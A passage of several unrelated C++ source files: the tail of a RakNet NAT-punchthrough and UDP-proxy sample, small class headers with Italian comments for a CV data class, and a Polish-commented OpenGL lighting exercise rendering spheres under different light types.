strlen(NAT_PUNCHTHROUGH_FACILITATOR_PASSWORD)); facilitatorSystemAddress.SetBinaryAddress(facilitatorIP); facilitatorSystemAddress.port=NAT_PUNCHTHROUGH_FACILITATOR_PORT; } else { socketDescriptor.port=NAT_PUNCHTHROUGH_FACILITATOR_PORT; rakPeer->Startup(32,0,&socketDescriptor, 1); rakPeer->SetMaximumIncomingConnections(32); rakPeer->AttachPlugin(&natPunchthroughServer); rakPeer->AttachPlugin(&udpProxyServer); rakPeer->AttachPlugin(&udpProxyCoordinator); rakPeer->AttachPlugin(&natTypeDetectionServer); char ipList[ MAXIMUM_NUMBER_OF_INTERNAL_IDS ][ 16 ]; unsigned int binaryAddresses[MAXIMUM_NUMBER_OF_INTERNAL_IDS]; SocketLayer::Instance()->GetMyIP( ipList, binaryAddresses ); natTypeDetectionServer.Startup(ipList[1], ipList[2], ipList[3]); // Login proxy server to proxy coordinator // Normally the proxy server is on a different computer. Here, we login to our own IP address since the plugin is on the same system udpProxyServer.LoginToCoordinator(COORDINATOR_PASSWORD, rakPeer->GetInternalID(UNASSIGNED_SYSTEM_ADDRESS)); printf("Ready.\n"); } printf("My GUID is %s\n", rakPeer->GetGuidFromSystemAddress(UNASSIGNED_SYSTEM_ADDRESS).ToString()); printf("'c'lear the screen.\n'q'uit.\n"); Packet *p; while (1) { p=rakPeer->Receive(); while (p) { if (p->data[0]==ID_REMOTE_NEW_INCOMING_CONNECTION && (mode[0]=='s' || mode[0]=='S')) { RakNet::BitStream bsIn(p->data, p->length, false); SystemAddress remoteAddress; RakNetGUID remoteGuid; bsIn.IgnoreBytes(sizeof(MessageID)); unsigned int addressesCount; bsIn.Read(addressesCount); bsIn.Read(remoteAddress); bsIn.Read(remoteGuid); printf("Connecting to remote system.\n"); natPunchthroughClient.OpenNAT(remoteGuid, rakPeer->GetSystemAddressFromIndex(0)); } if (p->data[0]==ID_DISCONNECTION_NOTIFICATION) printf("ID_DISCONNECTION_NOTIFICATION\n"); else if (p->data[0]==ID_CONNECTION_LOST) { printf("ID_CONNECTION_LOST from %s\n", p->systemAddress.ToString()); } else if (p->data[0]==ID_NO_FREE_INCOMING_CONNECTIONS) printf("ID_NO_FREE_INCOMING_CONNECTIONS\n"); else if (p->data[0]==ID_NEW_INCOMING_CONNECTION) { printf("ID_NEW_INCOMING_CONNECTION from %s with guid %s\n", p->systemAddress.ToString(), p->guid.ToString()); } else if (p->data[0]==ID_REMOTE_NEW_INCOMING_CONNECTION) { printf("Got ID_REMOTE_NEW_INCOMING_CONNECTION from %s\n", p->systemAddress.ToString(true)); } else if (p->data[0]==ID_CONNECTION_GRAPH_REPLY) { printf("Got ID_CONNECTION_GRAPH_REPLY from %s\n", p->systemAddress.ToString(true)); } else if (p->data[0]==ID_REMOTE_DISCONNECTION_NOTIFICATION) { printf("Got ID_REMOTE_DISCONNECTION_NOTIFICATION from %s\n", p->systemAddress.ToString(true)); } else if (p->data[0]==ID_REMOTE_CONNECTION_LOST) { printf("Got ID_REMOTE_CONNECTION_LOST from %s\n", p->systemAddress.ToString(true)); } else if (p->data[0]==ID_CONNECTION_REQUEST_ACCEPTED) { // Use UPNP to open the port connections will come in on, if possible if (p->systemAddress==facilitatorSystemAddress) { printf("Connected to facilitator with GUID %s.\n", p->guid.ToString()); #ifdef USE_UPNP OpenWithUPNP(&natPunchthroughClient); #endif } if (mode[0]=='s' || mode[0]=='S') { printf("ID_CONNECTION_REQUEST_ACCEPTED from %s.\nMy external IP is %s\n", p->systemAddress.ToString(), rakPeer->GetExternalID(p->systemAddress).ToString()); } else printf("ID_CONNECTION_REQUEST_ACCEPTED from %s.\nMy external IP is %s\n", p->systemAddress.ToString(), rakPeer->GetExternalID(p->systemAddress). ToString()); } else if (p->data[0]==ID_CONNECTION_ATTEMPT_FAILED) { if (p->systemAddress.port==NAT_PUNCHTHROUGH_FACILITATOR_PORT) printf("ID_CONNECTION_ATTEMPT_FAILED (facilitator)\n"); else printf("ID_CONNECTION_ATTEMPT_FAILED (recipient)\n"); } else if (p->data[0]==ID_NAT_TARGET_NOT_CONNECTED) { RakNetGUID g; RakNet::BitStream b(p->data, p->length, false); b.IgnoreBits(8); // Ignore the ID_... b.Read(g); printf("ID_NAT_TARGET_NOT_CONNECTED for %s\n", g.ToString()); } else if (p->data[0]==ID_NAT_TARGET_UNRESPONSIVE) { RakNetGUID g; RakNet::BitStream b(p->data, p->length, false); b.IgnoreBits(8); // Ignore the ID_... b.Read(g); printf("ID_NAT_TARGET_UNRESPONSIVE for %s\n", g.ToString()); } else if (p->data[0]==ID_NAT_CONNECTION_TO_TARGET_LOST) { RakNetGUID g; RakNet::BitStream b(p->data, p->length, false); b.IgnoreBits(8); // Ignore the ID_... b.Read(g); printf("ID_NAT_CONNECTION_TO_TARGET_LOST for %s\n", g.ToString()); } else if (p->data[0]==ID_NAT_ALREADY_IN_PROGRESS) { RakNetGUID g; RakNet::BitStream b(p->data, p->length, false); b.IgnoreBits(8); // Ignore the ID_... b.Read(g); printf("ID_NAT_ALREADY_IN_PROGRESS for %s\n", g.ToString()); } else if (p->data[0]==ID_NAT_PUNCHTHROUGH_FAILED) { printf("ID_NAT_PUNCHTHROUGH_FAILED for %s\n", p->guid.ToString()); // Fallback to use the proxy // Only one system needs to do this, so just have the sender do it if (mode[0]=='s' || mode[0]=='S') { printf("Attemping proxy connection.\n"); udpProxyClient.RequestForwarding(facilitatorSystemAddress, UNASSIGNED_SYSTEM_ADDRESS, p->guid, 7000); } else printf("Waiting for proxy connection.\n"); } else if (p->data[0]==ID_NAT_PUNCHTHROUGH_SUCCEEDED) { printf("ID_NAT_PUNCHTHROUGH_SUCCEEDED for %s\n", p->systemAddress.ToString()); if (mode[0]=='s' || mode[0]=='S') { rakPeer->Connect(p->systemAddress.ToString(), p->systemAddress.port, 0, 0); } } else if (p->data[0]==ID_PONG) { RakNetTime time; memcpy((char*)&time, p->data+1, sizeof(RakNetTime)); printf("Got pong from %s with time %i\n", p->systemAddress.ToString(), RakNet::GetTime() - time); } else if (p->data[0]==ID_INVALID_PASSWORD) { printf("ID_INVALID_PASSWORD\n"); } else if (p->data[0]==ID_NAT_ALREADY_IN_PROGRESS) { SystemAddress systemAddress; RakNet::BitStream b(p->data, p->length, false); b.IgnoreBits(8); // Ignore the ID_... b.Read(systemAddress); printf("ID_NAT_ALREADY_IN_PROGRESS to %s\n", systemAddress.ToString()); } else { printf("Unknown packet ID %i from %s\n", p->data[0], p->systemAddress.ToString(true)); } rakPeer->DeallocatePacket(p); p=rakPeer->Receive(); } if (kbhit()) { char ch = getch(); if (ch=='q' || ch=='Q') break; if (ch=='c' || ch=='C') { #ifdef _WIN32 system("cls"); #else printf("Unsupported on this OS\n"); #endif } } RakSleep(30); } rakPeer->Shutdown(100,0); RakNetworkFactory::DestroyRakPeerInterface(rakPeer); } // This sample starts one of three systems: A facilitator, a recipient, and a sender. The sender wants to connect to the recipient but // cannot because both the sender and recipient are behind NATs. So they both connect to the facilitator first. // The facilitator will synchronize a countdown timer so that the sender will try to connect to the recipient at the same time // the recipient will send an offline message to the sender. This will, in theory, punch through the NAT. // // IMPORTANT: The recipient and sender need to know each other's external IP addresses to be able to try to connect to each other. // The facilitator should transmit this on connection, such as with a lobby server, which I do here using the ConnectionGraph plugin. // That plugin will cause the lobby server to send ID_REMOTE_* system notifications to its connected systems. int main(void) { //#ifdef _DEBUG VerboseTest(); //#else // GUIClientTest(); //#endif return 1; }
#pragma once #include <iostream> using std::cout; using std::endl; class Contained3 { public: Contained3() { cout << "Contained3 constructor." << endl; } };
//Manca da inserire, volendo, la modifica delle liste e dei suoi nodi #ifndef INFO_H #define INFO_H #include <iostream> #include <list> #include "string" using std::list; using std::string; class Info{ private: string name; string surname; string address; string telephonNumber; string email; list<string> personalExperience; list<string> workingSkills; list<string> knownLanguages; list<string> qualification; public: //Costruttore dell'oggetto Info Info(string, string, string, string, string); //Info(const Info&); //Modifica del nome void setName(string); //Modifica del cognome void setSurname(string); //Settaggio o modifica dell'indirizzo void setAddress(string); //Settaggio o modifica del numero di telefono void setTelNumber(string); //Settaggio o modifica dell'indirizzo void setEmail(string); //Ritorno del nome string getName() const; //Ritorno del cognome string getSurname() const; //Ritorno dell'indirizzo string getAddress() const; //Ritorno del numero di telefono string getTelNumber() const; //Ritorno dell'indirizzo string getEmail() const; //Inserimento in coda di personalExperience void addPersExp(string); //Inserimento in coda di workingSkills void addWorkSkill(string); //Inserimento in coda di knownLanguages void addKnownLang(string); //Inserimento in coda di qualifications void addQualif(string); //Ritorno dei dati delle knownLanguages string getAllLanguages() const; string getAllPersonalExp() const; string getAllQualif() const; string getAllWorkExp() const; }; #endif // INFO_H /* Per i campi dati personalExperience, workingSkills, knownLanguages e qualifications ho scelto di utilizzare una lista (list) perchè l'inserimento dei vari dati andrà fatto sempre ed esclusivamente in coda, e questa operazione nelle liste è molto piu efficente perche nel vector al momento della sua saturazione avviene l'operazione di raddoppio della size con corrispondente copia di tutti i dati. Inoltre in questo caso non è necessaria la funzionalità di accesso casuale ai dati che è il motivo per cui si potrebbe scegliere un vector. */
#include <math.h> #include <windows.h> #include "freeglut.h" const float Pi=3.1415926535897932384626433832795; int windowPositionX = 100, windowPositionY = 100; //parametry dla glutInitWindowPosition() int windowSizeX = 800, windowSizeY = 800; //parametry dla glutInitWindowSize() double fovy = 89.0, aspect = 1.0, near_ = 1, far_ = 500.0;//parametry dla gluPerspective(); float angle =0;//parametr animacyjny //--------------Deklaracja i wartości inicjujące dla świateł i materiału --------- //globalna energia ambient GLfloat scene_ambient[] = { 1.0, 1.0, 1.0, 1.0 }; //specyfikacja źródła światła nr 0 - źródło izotropowe GLfloat light0_position[] = { 1.0, 1.0, 1.0, 1.0 };//położenie GLfloat light0_ambient[] = { 0.2, 0.2, 0.2, 1.0 };//energia ambient GLfloat light0_diffuse[] = { 1.0, 1.0, 1.0, 1.0 };//energia diffuse GLfloat light0_specular[] = { 1.0, 1.0, 1.0, 1.0 };//energia specular //specyfikacja źródła światła nr 1 - źródło kierunkowe GLfloat light1_position[] = { 0.0, 0.0, 0.0, 1.0 };//położenie GLfloat light1_ambient[] = { 0.0, 0.0, 0.0, 1.0 };//energia ambient GLfloat light1_diffuse[] = { 1.0, 1.0, 0.1, 1.0 };//energia diffuse GLfloat light1_specular[] = { 0.2, 0.1, 0.0, 1.0 };//energia specular GLfloat light1_spot_direction[] = { -5, -5, -10, 1.0 };//główny kierunek światła GLint light1_spot_cutoff = 14;//zakres odchylenia od kierunk głównego GLint light1_spot_exponent = 29;//szybkość wygaszania wewnatzr stożka //specyfikacja materiału GLfloat mat_ambient[]={ 1.0, 1.0, 1.0, 1.0 };//reakcja na energię ambient GLfloat mat_diffuse[]={ 1.0, 1.0, 1.0, 1.0 };////reakcja na energię diffuse GLfloat mat_specular[] = { 1.0, 1.0, 1.0, 1.0 };////reakcja na energię specular GLfloat mat_emmision[] = { 0.0, 0.0, 0.0, 1.0 };//własności emisyjne GLfloat mat_shininess = 10.0 ;//współczynnik potęgowy dla reakcji na światło specular //funkcja pomocnicza rysująca przybliżenie wielokątowe powierzchni kuli void kula(int m,int n, GLfloat r, GLfloat tx, GLfloat ty, GLfloat tz, GLfloat sx, GLfloat sy, GLfloat sz ) //m (n) jest iloscią segmentów na równoleżniku (połowie południka), r promieniem kuli { int i,j; GLdouble alpha,beta,r0,r1,z0,z1,x00,x01,x10,x11,y00,y01,y10,y11; alpha=0.5*Pi/float(n); beta=2*Pi/float(m); r0=r; z0=0; glPushMatrix(); glTranslated(tx,ty,tz); glScaled(sx,sy,sz); for(j=0;j<n-1;j++) { r1=r*cos(float((j+1))*alpha); z1=r*sin(float((j+1))*alpha); x01=r1;y01=0; x00=r0;y00=0; for(i=1;i<=m;i++) { x11=r1*cos(float(i)*beta);y11=r1*sin(float(i)*beta); x10=r0*cos(float(i)*beta);y10=r0*sin(float(i)*beta); glBegin(GL_POLYGON); // glColor3f(1,0,0); glNormal3f(x00,y00,z0); glVertex3d(x00,y00,z0); glNormal3f(x10,y10,z0); glVertex3d(x10,y10,z0); glNormal3f(x11,y11,z1); glVertex3d(x11,y11,z1); glNormal3f(x01,y01,z1); glVertex3d(x01,y01,z1); glEnd(); glBegin(GL_POLYGON); // glColor3f(0,0,1); glNormal3f(x00,y00,-z0); glVertex3d(x00,y00,-z0); glNormal3f(x01,y01,-z1); glVertex3d(x01,y01,-z1); glNormal3f(x11,y11,-z1); glVertex3d(x11,y11,-z1); glNormal3f(x10,y10,-z0); glVertex3d(x10,y10,-z0); glEnd(); x01=x11;y01=y11; x00=x10;y00=y10; }// end for i r0=r1; z0=z1; }//end for j glBegin(GL_TRIANGLE_FAN); glNormal3f(0,0,r); glVertex3f(0,0,r); for(i=0;i<=m;i++) { x10=r1*cos(float(i)*beta);y10=r1*sin(float(i)*beta); glNormal3f(x10,y10,z1); glVertex3f(x10,y10,z1); } glEnd(); glBegin(GL_TRIANGLE_FAN); glNormal3f(0,0,-r); glVertex3f(0,0,-r); for(i=m;i>=0;i--) { x10=r1*cos(float(i)*beta);y10=r1*sin(float(i)*beta); glNormal3f(x10,y10,-z1); glVertex3f(x10,y10,-z1); } glEnd(); glPopMatrix(); }//end kula() //funkcja pomocnicza rysująca skalowaną, obracalną i przesuwalną kostkę [-1,1]^ void Cube(GLdouble sx, GLdouble sy, GLdouble sz, //skala GLdouble alpha_x, GLdouble alpha_y, GLdouble alpha_z,//obroty GLdouble tx, GLdouble ty, GLdouble tz //translacja ) { glPushMatrix(); glTranslated(tx,ty,tz); glRotated(alpha_x,1.0,0.0,0.0); glRotated(alpha_y,0.0,1.0,0.0); glRotated(alpha_z,0.0,0.0,1.0); glScaled(sx,sy,sz); glBegin(GL_POLYGON); glNormal3f(1.0,0.0,0.0); glVertex3d(1,-1,-1); glVertex3d(1,1,-1); glVertex3d(1,1,1); glVertex3d(1,-1,1); glEnd(); glBegin(GL_POLYGON); glNormal3f(-1.0,0.0,0.0); glVertex3d(-1,1,-1); glVertex3d(-1,-1,-1); glVertex3d(-1,-1,1); glVertex3d(-1,1,1); glEnd(); glBegin(GL_POLYGON); glNormal3f(0.0,0.0,1.0); glVertex3d(1,1,1); glVertex3d(-1,1,1); glVertex3d(-1,-1,1); glVertex3d(1,-1,1); glEnd(); glBegin(GL_POLYGON); glNormal3f(0.0,0.0,-1.0); glVertex3d(1,1,-1); glVertex3d(1,-1,-1); glVertex3d(-1,-1,-1); glVertex3d(-1,1,-1); glEnd(); glBegin(GL_POLYGON); glNormal3f(0.0,1.0,0.0); glVertex3d(1,1,1); glVertex3d(1,1,-1); glVertex3d(-1,1,-1); glVertex3d(-1,1,1); glEnd(); glBegin(GL_POLYGON); glNormal3f(0.0,-1.0,0.0); glVertex3d(1,-1,1); glVertex3d(-1,-1,1); glVertex3d(-1,-1,-1); glVertex3d(1,-1,-1); glEnd(); glPopMatrix(); } void init(void) { glClearColor (0.1, 0.1, 0.1, 1.0); glEnable(GL_DEPTH_TEST); glEnable(GL_NORMALIZE); glEnable(GL_CULL_FACE); glCullFace(GL_BACK); } void display_1(void)//globalne światło ambient { scene_ambient[0]=1.0; scene_ambient[1]=1.0; scene_ambient[2]=1.0; mat_ambient[0]=0.5; mat_ambient[1]=0.5; mat_ambient[2]=0.5; glEnable(GL_LIGHTING);//włączenie mechanizmu oświetlenia glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); kula(200,200,70,0,0,0,1,1,1); mat_ambient[1]=0.0; //wcześniejsza wartośc =1.0 glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_2(void)//punktowe światło ambient { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_ambient[0]=0.5; mat_ambient[1]=0.5; mat_ambient[2]=0.5; light0_position[0]=120.0; light0_position[1]=200.0; light0_position[2]=120.0; light0_ambient[0]=1.0; light0_ambient[1]=1.0; light0_ambient[2]=1.0; glEnable(GL_LIGHTING);//włączenie mechanizmu oświetlenia glEnable(GL_LIGHT0);//włączenie swiatła nr 0 //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_AMBIENT, light0_ambient); //wyzerowanie reakcji na energię diffuse, która domyślnie jest dodatnia //a energia diffuse również jest domyślnie dodatnia, więc któryś z tych //wektorów trzeba wyzerować, aby wyeliminować energię diffuse ze sceny mat_diffuse[0]=mat_diffuse[1]=mat_diffuse[2]=0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,70,0,0,0,1,1,1); mat_ambient[1]=0.0; glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_3(void)//globalne i punktowe światła ambient { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); scene_ambient[0]=1.0; scene_ambient[1]=1.0; scene_ambient[2]=1.0; mat_ambient[0]=0.5; mat_ambient[1]=0.5; mat_ambient[2]=0.5; light0_position[0]=120.0; light0_position[1]=200.0; light0_position[2]=120.0; light0_ambient[0]=1.0; light0_ambient[1]=1.0; light0_ambient[2]=1.0; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); //wyzerowanie reakcji na energię diffuse mat_diffuse[0]=mat_diffuse[1]=mat_diffuse[2]=0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_AMBIENT, light0_ambient); glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); kula(200,200,70,0,0,0,1,1,1); mat_ambient[1]=0.0; glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_4(void)//punktowe światło diffuse { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); light0_position[0]=120.0; light0_position[1]=100.0; light0_position[2]=120.0; light0_diffuse[0]=1; light0_diffuse[1]=1; light0_diffuse[2]=1; mat_diffuse[0]=0.14; mat_diffuse[1]=0.1; mat_diffuse[2]=0.91; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,70,0,0,0,1,1,1); mat_diffuse[1]=1.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_5(void)//punktowe światło diffuse + globalne światło ambient { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); light0_position[0]=120.0; light0_position[1]=100.0; light0_position[2]=120.0; light0_diffuse[0]=1; light0_diffuse[1]=1; light0_diffuse[2]=1; mat_diffuse[0]=0.14; mat_diffuse[1]=0.1; mat_diffuse[2]=0.91; mat_ambient[0]=0.5; mat_ambient[1]=0.5; mat_ambient[2]=0.5; scene_ambient[0]=0.2; scene_ambient[1]=0.2; scene_ambient[2]=0.1; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,70,0,0,0,1,1,1); mat_diffuse[1]=1.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,70,120,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_6(void)//punktowe światło specular { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_ambient[0]=0.0; mat_ambient[1]=0.0; mat_ambient[2]=0.0; mat_specular[0]=1.0; mat_specular[1]=1.0; mat_specular[2]=1.0; mat_shininess=40.0; light0_position[0]=0.0; light0_position[1]=0.0; light0_position[2]=700.0; light0_specular[0]=0.5; light0_specular[1]=0.1; light0_specular[2]=0.1; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora //wyzerowanie reakcji na energię diffuse mat_diffuse[0]=mat_diffuse[1]=mat_diffuse[2]=0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_SPECULAR, light0_specular); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); glMaterialf(GL_FRONT, GL_SHININESS, mat_shininess ); kula(200,200,70,0,0,0,1,1,1); mat_specular[1]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_7(void)//punktowe światła specular i diffuse { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_specular[0]=1.0; mat_specular[1]=1.0; mat_specular[2]=1.0; mat_diffuse[0]=0.9; mat_diffuse[1]=0.9; mat_diffuse[2]=0.9; mat_shininess=100.0; mat_ambient[0]=0.0; mat_ambient[1]=0.0; mat_ambient[2]=0.0; light0_position[0]=-700.0; light0_position[1]=-700.0; light0_position[2]=700.0; light0_specular[0]=0.5; light0_specular[1]=0.1; light0_specular[2]=0.1; light0_diffuse[0]=0.5; light0_diffuse[1]=0.1; light0_diffuse[2]=0.1; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glLightfv(GL_LIGHT0, GL_SPECULAR, light0_specular); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); glMaterialf(GL_FRONT, GL_SHININESS, mat_shininess ); kula(200,200,70,0,0,0,1,1,1); mat_specular[1]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); mat_diffuse[1]=0.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_8(void)//punktowe światła specular i diffuse + globalne światło ambient { glLoadIdentity(); gluLookAt(190.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_specular[0]=1.0; mat_specular[1]=1.0; mat_specular[2]=1.0; mat_diffuse[0]=0.9; mat_diffuse[1]=0.9; mat_diffuse[2]=0.9; mat_shininess=100.0; mat_ambient[0]=0.2; mat_ambient[1]=0.2; mat_ambient[2]=0.2; light0_position[0]=-700.0; light0_position[1]=-700.0; light0_position[2]=700.0; light0_specular[0]=0.5; light0_specular[1]=0.1; light0_specular[2]=0.1; light0_diffuse[0]=0.5; light0_diffuse[1]=0.1; light0_diffuse[2]=0.1; scene_ambient[0]=0.5; scene_ambient[1]=0.1; scene_ambient[2]=0.1; glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora glLightfv(GL_LIGHT0, GL_POSITION, light0_position); glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); glLightfv(GL_LIGHT0, GL_SPECULAR, light0_specular); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); glMaterialf(GL_FRONT, GL_SHININESS, mat_shininess ); kula(200,200,70,0,0,0,1,1,1); mat_specular[1]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); mat_diffuse[1]=0.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(100,100,70,150,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_9(void)//kierunkowe światło diffuse { glLoadIdentity(); gluLookAt(100.0, 200.0, 130.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_ambient[0]=0.5; mat_ambient[1]=0.5; mat_ambient[2]=0.5; mat_diffuse[0]=1.0; mat_diffuse[1]=1.0; mat_diffuse[2]=1.0; light1_position[0]=150.0; light1_position[1]=150.0; light1_position[2]=100.0; light1_diffuse[0]=1.0; light1_diffuse[1]=1.0; light1_diffuse[2]=0.2; light1_spot_direction[0]=-1; light1_spot_direction[1]=-1; light1_spot_direction[2]=-1; light1_spot_exponent =100; light1_spot_cutoff = 65;//zmienić później na 180 dla porównania glEnable(GL_LIGHTING); glEnable(GL_LIGHT1); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightfv(GL_LIGHT1, GL_POSITION, light1_position); glLightfv(GL_LIGHT1, GL_DIFFUSE, light1_diffuse); glLightfv(GL_LIGHT1, GL_SPOT_DIRECTION, light1_spot_direction); glLightf(GL_LIGHT1, GL_SPOT_EXPONENT, light1_spot_exponent); glLightf(GL_LIGHT1, GL_SPOT_CUTOFF, light1_spot_cutoff); glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(200,200,60,0,0,0,1,1,1); mat_diffuse[0]=0.0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); kula(100,100,60,120,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void display_10(void)//kierunkowe światło specular { glLoadIdentity(); gluLookAt(0.1, 0.0, -200.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); mat_specular[0]=1.0; mat_specular[1]=1.0; mat_specular[2]=1.0; mat_ambient[0]=0.0; mat_ambient[1]=0.0; mat_ambient[2]=0.0; mat_shininess=100.0; light1_position[0]=0.0; light1_position[1]=0.0; light1_position[2]=100.0; light1_specular[0]=0.9; light1_specular[1]=0.9; light1_specular[2]=0.9; light1_spot_direction[0]=0; light1_spot_direction[1]=0; light1_spot_direction[2]=-1; light1_spot_exponent =1; light1_spot_cutoff = 65; glEnable(GL_LIGHTING); glEnable(GL_LIGHT1); //wyzerowanie globalnego światła ambient scene_ambient[0]=scene_ambient[1]=scene_ambient[2]=0.0; glLightModelfv(GL_LIGHT_MODEL_AMBIENT,scene_ambient); glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER,1);//ustawienie śledzenie wektora obserwatora //wyzerowanie reakcji na energię diffuse mat_diffuse[0]=mat_diffuse[1]=mat_diffuse[2]=0; glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse); glLightfv(GL_LIGHT1, GL_POSITION, light1_position); glLightfv(GL_LIGHT1, GL_SPECULAR, light1_specular); glLightfv(GL_LIGHT1, GL_SPOT_DIRECTION, light1_spot_direction); glLightf(GL_LIGHT1, GL_SPOT_EXPONENT, light1_spot_exponent); glLightf(GL_LIGHT1, GL_SPOT_CUTOFF, light1_spot_cutoff); glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); kula(200,200,60,-50,0,0,1,1,1); mat_specular[0]=0.0; glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular); kula(400,400,50,70,0,0,1,1,1); glFlush(); glutSwapBuffers(); } void idle(){ 